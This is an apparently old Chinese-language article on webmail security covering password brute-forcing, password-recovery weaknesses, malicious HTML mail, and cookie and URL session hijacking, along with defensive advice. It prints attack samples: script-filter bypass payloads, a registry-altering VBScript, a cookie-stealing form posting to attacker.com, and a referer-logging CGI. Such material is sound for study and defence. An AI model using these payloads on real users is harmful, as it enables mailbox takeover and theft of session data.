Internet上客户端与服务端的交互,基本上都是通过在客户端以提交表单的形式交由服务端程序(如CGI、ASP等)处理来实现的,webmail的密码验证即如此,用户在浏览器的表单元素里输入帐户名、密码等信息并提交以后,服务端对其进行验证,如果正确的话,则欢迎用户进入自己的webmail页面,否则,返回一个出错页面给客户端。
籍此,攻击者借助一些黑客工具,不断的用不同的密码尝试登录,通过比较返回页面的异同,从而判断出邮箱密码是否破解成功。帮助攻击者完成此类暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最为强大,它本身已经是一个功能完善的浏览器,通过分析和提取页面中的表单,给相应的表单元素挂上字典文件,再根据表单提交后返回的错误标志判断破解是否成功。
当然我们也看到,溯雪之类的web探测器,可以探测到的不仅是webmail的密码,像论坛、聊天室之类所有通过表单进行验证登录的帐户密码都是可以探测到的。
对于webmail的暴力破解,许多webmail系统都采取了相应的防范措施。如果某帐户在较短的时间内有多次错误登录,即认为该帐户受到了暴力破解,防范措施一般有如下三种:
1、 禁用帐户:把受到暴力破解的帐户禁止一段时间登录,一般是5至10分钟,但是,如果攻击者总是尝试暴力破解,则该帐户就一直处于禁用状态不能登录,导致真正的用户不能访问自己的邮箱,从而形成DOS攻击。
2、 禁止IP地址:把进行暴力破解的IP地址禁止一段时间不能使用webmail。这虽然在一定程度上解决了“禁用帐户”带来的问题,但更大的问题是,这势必导致在网吧、公司、学校甚至一些城域网内共用同一IP地址访问internet的用户不能使用该webmail。如果攻击者采用多个代理地址轮循攻击,甚至采用分布式的破解攻击,那么“禁止IP地址”就难以防范了。
3、 登录检验:这种防范措施一般与上面两种防范措施结合起来使用,在禁止不能登录的同时,返回给客户端的页面中包含一个随机产生的检验字符串,只有用户在相应的输入框里正确输入了该字符串才能进行登录,这样就能有效避免上面两种防范措施带来的负面影响。不过,攻击者依然有可乘之机,通过开发出相应的工具提取返回页面中的检验字符串,再将此检验字符串做为表单元素值提交,那么又可以形成有效的webmail暴力破解了。如果检验字符串是包含在图片中,而图片的文件名又随机产生,那么攻击者就很难开发出相应的工具进行暴力破解,在这一点上,yahoo电邮就是一个非常出色的例子。
虽然webmail的暴力破解有诸多的防范措施,但它还是很难被完全避免,如果webmail系统把一分钟内五次错误的登录当成是暴力破解,那么攻击者就会在一分钟内只进行四次登录尝试。所以,防范webmail暴力破解还主要靠用户自己采取良好的密码策略,如密码足够复杂、不与其他密码相同、密码定期更改等,这样,攻击者很难暴力破解成功。
三、邮箱密码恢复
难免会有用户遗失邮箱密码的情况,为了让用户能找回密码继续使用自己的邮箱,大多数webmail系统都会向用户提供邮箱密码恢复机制,让用户回答一系列问题,如果答案都正确的话,就会让用户恢复自己邮箱的密码。但是,如果密码恢复机制不够合理和安全,就会给攻击者加以利用,轻松获取他人邮箱密码。
下面是许多webmail系统密码恢复机制所采取的密码恢复步骤,只有用户对每步提出的问题回答正确的话才会进入下一步,否则返回出错页面,针对每一步,攻击者都有可乘之机:
第一步:输入帐户:在进入密码恢复页面后首先提示用户输入要恢复密码的邮箱帐户。这一步对攻击者而言自然不成问题,邮箱帐户就是他要攻击的目标。
第二步:输入生日:提示用户按年月日输入自己的生日。这一步对攻击者而言也很轻松,年月日的排列组合很小,借助溯雪等工具很快就能穷举破解出来,所以webmail系统有必要在此采取暴力破解防范措施。并且每个用户需要注意的是,攻击者不一定来自地球的另一端,很可能就是你身边的人,或许这些人更想知道你邮箱里有什么秘密,而他们要弄清你的生日往往是件轻而易举的事情,你不是昨天才过了生日party吗?你不是刚刚把身份证复印件交给人事部吗?所以,为了邮箱安全,用户是不是要把真实的生日做为邮箱注册信息,webmail系统是不是一定要用户输入真实的生日做为注册信息,这还有待考虑。
第三步:问题回答:提示用户回答自己设定的问题,答案也是用户自己设定的答案。在这一步,攻击者往往只有靠猜测,不幸的是,很多用户的问题和答案是如此的简单,以致于攻击者能轻易的猜测出来,例如提出的问题只是知识性的问题、提出的问题和答案相同等。攻击者对用户越熟悉,成功的可能性就越大,例如有用户问“你男朋友是哪里人”,殊不知,攻击者正是她的男朋友。所以,用户把问题设置成唯有自己知道的答案至关重要,这样攻击者才很难得逞,不过不要忘了答案,否则就得不偿失了。
在用户正确完成以上各步骤以后,webmail系统就会让用户恢复自己邮箱帐户的密码。密码恢复的方式又各有不同,一般有如下几种方式,安全程度各有不同:
1、 页面返回:返回的页面里显示用户的邮箱密码。这样故然方便省事,但是如果让攻击者得到密码,则能在丝毫不惊动用户的情况下使用用户的邮箱,使得攻击者能长期监视用户的邮箱使用情况,给用户带来更大的安全隐患。
2、 邮件发送:将密码发送到用户注册时登记的另一个邮箱里。对于攻击者来说,忙了半天,仍然是一无所获,除非继续去攻击另一个邮箱;对于用户来说,在另一个邮箱里收到发来的密码则是一个警告,说明有攻击者猜测到了他的邮箱密码提示问题,迫使用户尽快改变自己的密码提示问题。
不过,如果用户注册时登记的不是一个正确的邮箱,或者该邮箱已经失效,那么,这样不仅是攻击者,就是用户本人也永远得不到密码了。有些webmail系统在注册时要求用户登记正确的邮件地址,并把邮箱开通的验证信息发往该邮件地址,不过这样仍然不能避免用户在邮箱失效后不能恢复自己邮箱密码的情况发生。
3、 密码重设:让用户重新设置一个密码。这种方式相比“页面返回”方式,在攻击者重设密码后,用户因为不能正常登录进自己的邮箱而能察觉出受到攻击,安全性相对好一些;但是相比“邮件发送”方式,因为攻击者能立即修改邮箱密码,少了一层保障,安全性又差一些。
由“页面返回”或“邮件发送”回来的密码可以明显看出,该电子邮件系统是把邮箱帐户的密码未经加密直接以明文保存在数据库或LDAP服务器中。这样就造成很大的安全隐患,webmail系统管理员或侵入数据库的攻击者能轻易获取用户的邮箱密码,用户却完全不知情,所以为了加大保密性,有必要将邮箱密码加密后再以密文存入数据库,最好用不可逆的单向加密算法,如md5等。
邮箱密码恢复机制是否安全,主要还是看webmail系统提出什么样的问题、采取什么样的问答方式,例如将多个密码恢复步骤中提出的问题放在一步中一起提出,就会相应地增加攻击者的难度从而提高安全性,像搜狐邮件、新浪邮件和yahoo电邮等都是一些令人失望的例子。
四、恶性HTML邮件
电子邮件有两种格式:纯文本(txt)和超文本(html)。Html邮件由html语言写成,当通过支持html的邮件客户端或以浏览器登录进入webmail查看时,有字体、颜色、链接、图像、声音等等,给人以深刻的印象,许多垃圾广告就是以html邮件格式发送的。
利用html邮件,攻击者能进行电子邮件欺骗,甚至欺骗用户更改自己的邮箱密码。例如攻击者通过分析webmail密码修改页面的各表单元素,设计一个隐含有同样表单的html页面,预先给“新密码”表单元素赋值,然后以html邮件发送给用户,欺骗用户说在页面中提交某个表单或点击某个链接就能打开一个精彩网页,用户照做后,在打开“精彩网页”的同时,一个修改邮箱密码的表单请求已经发向webmail系统,而这一切,用户完全不知情,直到下次不能登录进自己邮箱的时候。
为了防止此类的html邮件欺骗,在修改邮箱配置时,特别是修改邮箱密码和提示问题时,webmail系统有必要让用户输入旧密码加以确认,这样也能有效防止载取到当前webmail会话的攻击者(下面会介绍)更改邮箱密码。
通过在html邮件中嵌入恶性脚本程序,攻击者还能进行很多破坏攻击,如修改注册表、非法操作文件、格式化硬盘、耗尽系统资源、修改“开始”菜单等,甚至能删除和发送用户的邮件、访问用户的地址簿、修改邮箱帐户密码等等。恶性脚本程序一般由JavaScript或VBScript脚本语言写成,内嵌在html语言中,通过调用ActiveX控件或者结合WSH来达到破坏攻击目的。深受修改浏览器的恶性html页面之痛,饱经“欢乐时光”邮件病毒之苦的朋友,对此应该不会陌生。下面是两个简单的恶性脚本程序:
一、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:
<script language="JavaScript">
<!--
while (true)
{
window.open("URI"); //如果URI就是当前页本身,那就更具破坏性。
}
//-->
</script>
二、修改注册表:
<script language="VBScript">
Set RegWsh = CreateObject("WScript.Shell")
<|>设置IE浏览器默认页
RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.attacker.com"
</script>
鉴于脚本程序可能带来的危险,webmail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的webmail系统仍然没有完全改正:
1、 在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:
<tag attribute1 attribute2 onEventName="javascript code;">
例如:
<body onload="alert(<|>JavaScript#1 is executed<|>);">
<a href="#" onclick="alert(<|>JavaScript#2 is executed<|>);">Click here</a>
<form method="post" action="#" onsubmit="alert(<|>JavaScript#3 is executed<|>);">
<input type="submit" value="Submit">
</form>
</body>
2、 URI(Universal Resource Identifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URI scheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:
<tag attribute="javascript:javascript-code;">
例如:
<body background="javascript:alert(<|>JavaScript#1 is executed<|>);">
<a href="javascript:alert(<|>JavaScript#2 is executed<|>);">Click here</a>
<form method="post" action="javascript:alert(<|>JavaScript#3 is executed<|>);">
<input type="submit" value="Submit">
</form>
<img src="javascript:alert(<|>JavaScript#4 is executed<|>);">
</body>
3、 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A”、“A”表示字母“A”,“水”、“水”表示汉字“水”。
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开webmail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:
<body>
<img lowsrc="javasCript:alert(<|>JavaScript#1 is executed<|>)">
<a href="javAsCript:alert(<|>JavaScript#2
is executed<|>)">Click here</a>
<form method="post" action="javascript:alert(<|>JavaScript#3 is
executed<|>)">
<input type="Submit" value="Submit">
</form>
</body>
4、 样式表是层叠样式表单(CSS:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,Internet Explorer浏览器仍然会执行。例如:
<style type="text/css">
<!--
@import url(javascript:alert(<|>JavaScript#1 is executed<|>));
@import url(http://www.attacker.com/js.css);
-->
</style>
其中http://www.attacker.com/js.css的内容如下所示:
@import url(javascript:alert(<|>JavaScript#2 is executed<|>));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
能够绕过webmail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。
除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过webmail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用html文件的例子:
1、Refresh到另一个页面:
<body>
<meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm">
</body>
2、Iframe引入另一个页面:
<body>
<iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe>
</body>
3、scriptlet引入另一个页面:
<body>
<object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object>
</body>
攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:
1、 配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。
2、 把html邮件设计成看起来像txt邮件。
3、 有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。
针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让Windows系统自动执行任何本地程序,即使Internet Explorer已经禁止了ActiveX和脚本程序:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
面对恶性html邮件,webmail系统和用户似乎都没有很好的解决办法,虽然许多webmail系统已经能够过滤掉html邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用webmail系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,webmail系统所能做的就是发现一个漏洞补一个漏洞。
为了减少乃至避免恶性html邮件的影响,在打开html邮件之前,webmail系统有必要提醒用户这是一个html邮件,如果能提供让用户以文本方式浏览html邮件的功能,则是最好不过。在打开不明邮件之前,用户更要小心谨慎,最好把html邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看html邮件源代码,则是最好不过。
另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在webmail系统上对html邮件中的恶性代码进行过滤,但在pop3服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性html邮件的危害。
五、Cookie会话攻击
当用户以自已的邮箱帐户和密码登录进webmail以后,如果再让用户对每一步操作都输入密码加以确认就会让人不甚其烦。所以webmail系统有必要进行用户会话跟踪,webmail系统用到的会话跟踪技术主要有两种:cookie会话跟踪和URL会话跟踪。
Cookie是web服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊ID、访问次数等任何信息,通常此信息用于标识访问同一web服务器上的不同用户,在浏览器每次访问同一web服务器时会发送过去,用于跟踪特定客户端或浏览器与web服务器进行交互的状态。
Cookie的类型有两种:持久型和临时型。持久型cookie以文本形式存储在硬盘上,由浏览器存取。使用了持久型cookie会话跟踪的webmail系统有hotmail、yahoo电邮(可选)等。临时型cookie也称为会话cookie,存储在内存中,仅为当前浏览器的对话存储,关闭当前浏览器后会立即消失,ASP、PHP4等开发程序中用到的session对象就会产生临时型cookie。使用了临时型cookie会话跟踪的webmail系统有FM365、亿邮等。
如果攻击者能够获取用户webmail的cookie信息,那么就能很容易地侵入用户的webmail。攻击者如何获取用户webmail的cookie信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取cookie信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取cookie信息,直接获取邮箱密码就是了。
如果webmail系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,虽然众多网站存在此漏洞,但存在此漏洞的webmail系统还很少见。
含有恶性脚本程序的html邮件能使攻击者获取webmail的cookie信息。Html邮件中的脚本程序先提取当前webmail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie会话信息。下面是一段演示程序:
<body>
<form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
<input name="session" type="hidden">
</form>
<script language="JavaScript">
var cookie=(document.cookie);
alert(cookie);//这一句用于显示当前cookie信息,当然,攻击者不会这样做。
document.myform.session.value=cookie;
document.myform.submit();
</script>
getcookie.cgi是放在攻击者web服务器上的一个cgi程序,用于获取表单提交过来的cookie信息,并且做记录或者通知攻击者。当然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以察觉。
通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同一域名的web服务器。不过,浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会,Internet Explorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个Internet Explorer浏览器(针对IE5.0、IE5.5或6.0)泄漏cookie信息的例子:
1、 Html语言中的object元素用于在当前页面内嵌入外部对象,但Internet Explorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码如下:
<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href="http://www.anydomain.com";
setTimeout("alert(ref.cookie)",5000);
</script>
2、 Internet Explorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息,例如(以下代码在同一行):
about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>
3、 Internet Explorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当做cookie信息所在的域,并且发送出去。假设攻击者有一个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:
http://anydomain.com%20.attacker.com/getcookie.cgi
如果攻击者要获取webmail的临时型cookie信息,就会在html邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时cookie信息,也可以把用于获取cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获取临时cookie信息。
在攻击者获取cookie信息后,如果cookie信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然hotmail等webmail系统曾经发生过此类的情况,但cookie信息泄漏敏感信息的webmail系统还很少见。
攻击者在获取cookie信息之后,还要让此cookie信息由浏览器来存取从而与webmail系统建立会话,这样才能侵入用户的webmail。如果是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中去,由浏览器存取该cookie信息从而与webmail系统建立会话,不过临时cookie信息存储在内存中,并不容易让浏览器存取。
为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或者修改公开源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是一个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话以及临时cookie信息。
Webmail系统应该避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击,用户可以采取如下措施以加强安全:
1、 设置浏览器的cookie安全级别,阻止所有cookie或者只接受某几个域的cookie。
2、 使用cookie管理工具,增强系统cookie安全,如Cookie Pal、Burnt Cookies等。
3、 及时给浏览器打补丁,防止cookie信息泄漏。
Cookie会话跟踪除了上面提到的安全缺陷外,还存在如下缺点:
1、 并不是每个浏览器都支持cookie,有些用户为了防止泄露隐私以及从安全性上考虑,可能会禁用浏览器的cookie。
2、 由于功能限制或者设置有误,代理服务器不能够代理cookie,导致通过代理服务器上网的用户不能登录进入以cookie进行会话跟踪的webmail。
六、URL会话攻击
一些webmail系统胆敢在客户端不支持cookie时拒绝提供webmail服务,如新浪、搜狐等webmail系统,而另一些webmail系统则视用户为上帝,使用URL会话跟踪技术来维护与客户端交互的状态,如163.net、263.net、21cn.com等。
URL会话跟踪是把一些标识会话的字符串加在URL里面,对于客户端的每一个http连接请求,服务端都会把URL里的会话标识和它所保存的会话数据关联起来,从而能够区分不同的客户端,以及进行用户会话跟踪。下面是在浏览器的地址栏里看到的一些webmail的URL,看起来会很长甚至有些怪:
http://bjweb.163.net/cgi/ldapapp?funcid=main&sid=HAPGfUDusCLAQSIm
http://webmail.21cn.com/extend/gb/std/username/
NV0416qxMftyKnOcavGDktOmIEvPsb/SignOn.gen
在关闭浏览器后,保存在服务器里的会话关联数据并不会立即失效,一段时间内webmail的URL仍然有效,他人只要从浏览器的历史记录里找到该URL,就可以点击进入用户的webmail,并不需要任何密码验证,所以用户在退出webmail时,不应该直接关闭浏览器,应该点击webmail上的“退出”来退出,这样才会清空会话,使webmail的URL失效,那些在网吧等公共场所上网的用户尤其要注意这一点。
如果攻击者知道webmail系统的URL会话机制,能猜到webmail的会话标识,那么就能找到webmail的URL,在浏览器地址栏里输入相同的URL就能轻易地进入用户的webmail,所以webmail系统应该使用较长的、随机的字符串做为会话标识,使攻击者难以猜测。
不过,即使webmail系统的URL会话机制再复杂、会话标识再长,对攻击者而言,要想获得用户webmail的URL,往往就像探囊取物一般容易。
JavaScript程序中的window.location、location.href、document.URL、document.location、document.referrer等对象属性都可以用来获取webmail的URL,攻击者只要在html邮件中放入一段脚本代码就可以获取URL,并且能偷偷地发送给攻击者,类似的代码可以参考“cookie会话攻击”一节里的一段演示程序。
Http协议(RFC2616)里规定http请求头域“referer”用于指明链接的出处,即指明来自客户端的这个连接请求是从哪个URI地址提交过来的,例如用户点击页面上的某个链接地址后,发出的referer域的内容就是当前页面的URI地址。CGI编程中的环境变量“HTTP_REFERER”用于获取http请求头域“referer”,下面是一个在Linux下用shell写的CGI程序:
#!/bin/sh
#set -f
echo Content-type: text/plain
echo
#写入日志,geturl.log文件权限要可写
echo "`date` $REMOTE_ADDR $HTTP_REFERER" >> /var/log/geturl.log
#即时通知攻击者
wall "`date` 收到webmail url,请检查日志"
#返回给客户端的信息,用于迷惑用户
echo "你好!"
攻击者把这个CGI程序放在自己的web服务器上,然后把该CGI程序的URL地址以单独一行放在txt邮件里发给用户,URL地址会自动变成链接地址,受到欺骗的用户点击后,攻击者就获得了用户webmail的URL。当然攻击者也可以把CGI程序的URL地址放在html邮件里做为链接地址让用户来点击,或者就用脚本程序或框架技术使这个CGI程序自动运行,或者干脆把这个CGI程序的URL地址放在html邮件源代码img元素的src属性值,虽然显现不出图片,但这个CGI程序照样会收到http连接请求,从而获得webmail的URL。
Web服务器的日志记录也能获取referer域的内容,以apache为例,在httpd.conf文件中修改或加入如下配置参数:
LogFormat "%t %h %{Referer}i -> %U" referer
CustomLog /usr/local/apache/logs/referer_log referer
这样对web服务器的每一个http连接请求的referer域的内容都会写到referer_log日志文件里去,攻击者只要分析日志文件就能够知道用户webmail的URL了。webmail系统如果支持html邮件的话,总不可能会禁止html邮件中使用图像,攻击者在发给用户的html邮件中放入一张src地址在自己web服务器上的图片,也就能轻易地获取webmail的URL。
这样一来,深怀恶意的攻击者花点小钱去做邮件服务商提供的webmail旗帜广告,广告的图片则是放在攻击者的web服务器上,那么攻击者就能每天坐收成千上万用户的webmail了。
浏览器的漏洞和恶意脚本程序导致了cookie信息的泄漏,与cookie信息泄漏不同,URL会话信息被泄漏,则是完全出在HTTP协议上,除非修改HTTP协议。虽然RFC2616里指出referer域是敏感信息(Sensitive Information),建议浏览器提供友好界面让用户能够允许或禁用传输敏感信息域,不过目前尚未有哪一家浏览器提供了这样的功能界面。
可见,无论是cookie会话跟踪还是URL会话跟踪,都存在着不少的安全问题,所以webmail系统有必要采取措施加强会话安全:
1、 灵活使用会话跟踪技术:客户端支持cookie时,使用相对比较安全的临时型cookie会话跟踪机制,否则,使用URL会话跟踪,JSP等开发程序能很容易做到这一点。
2、 结合多种会话跟踪技术:同时结合cookie、URL会话跟踪技术进行会话跟踪,大大增加攻击者难度。
3、 跟客户端IP地址相结合:21cn.com、qmail的sqwebmail等webmail系统,就是把当前会话与客户端IP地址结合在一起来加强安全的。
4、 合理设置会话超时时间:在一定时间内客户端没有连接请求则认为会话超时(timeout)。太短了,给用户带来不便;太长了,给攻击者带来方便。
七、Webmail其他安全
如果用户在webmail里设置了自动回复,攻击者利用这一点,在另一个邮箱里也设置自动回复,并发一封邮件给用户,那么邮件很快就会塞满用户的邮箱,迫使用户不得不取消自动回复,所以,良好的自动回复策略应该是在一定时间内来自同一邮件地址的第二封邮件不应该被自动回复。
攻击者还会在邮件附件中夹带病毒、木马等恶性程序来攻击用户的电脑,甚至用来窃取webmail密码,所以,对于不明邮件,用户不要奢望那是攻瑰和情书,在对附件进行病毒查杀之前,不要轻易打开它的附件。
为了防止垃圾邮件,webmail系统应有良好的反垃圾邮件功能,一是系统级的垃圾邮件过滤,对一些被投诉和列入反垃圾邮件组织黑名单的邮件地址进行过滤,二是用户级的垃圾邮件过滤,使webmail用户可以定制自己的邮件过滤规则,拒绝不受欢迎的邮件,免受垃圾邮件的困扰。
使用一些嗅探监听程序,攻击者甚至不需要很高深的专业知识,就能很轻易地嗅探监听到用户webmail的密码、邮件内容等。有一个叫“密码监听器”的黑客程序,几乎能监听到国内所有免费邮箱的密码。所以,webmail系统有必要支持ssl,对浏览器与服务器之间传输的数据进行加密,防止被嗅探监听。
一些webmail系统支持数字签名和数字加密,在webmail内可以导入基于公钥加密机制(如CA认证中心颁发的数字证书)产生的公私密钥对,能有效地保证邮件的保密性、完整性和不可抵赖性,不过,鉴于webmail在其他方面的安全问题,一旦攻击者侵入用户的webmail,用户反而得不偿失,甚至会导致私钥的泄漏。
Webmail系统程序上的漏洞也值得关注,如IMHO Webmail远程帐户劫持漏洞、BasiliX Webmail远程任意文件泄露漏洞、W3Mail Webmail执行任意命令漏洞等,甚至21cn.com都曾有过重要路径泄漏漏洞。
从上面我们可以看到,webmail的安全问题不容乐观,如果要较好地解决它,一方面要增强webmail系统的安全性,另一方面则依赖于用户对webmail的正确使用,这些在上面都有讨论,在此就不赘述。如果用户在正确使用webmail后仍然存在安全问题,那么剩下的,就是去选择一个好的邮件服务商,或者通过邮件客户端软件来收发邮件,不过,使用outlook等邮件客户端软件又会引发其它的安全问题,例如爱虫、求职信等病毒就是利用outlook的漏洞来扩散传播和危害用户的。,
- 没有相关文章
- 没有评论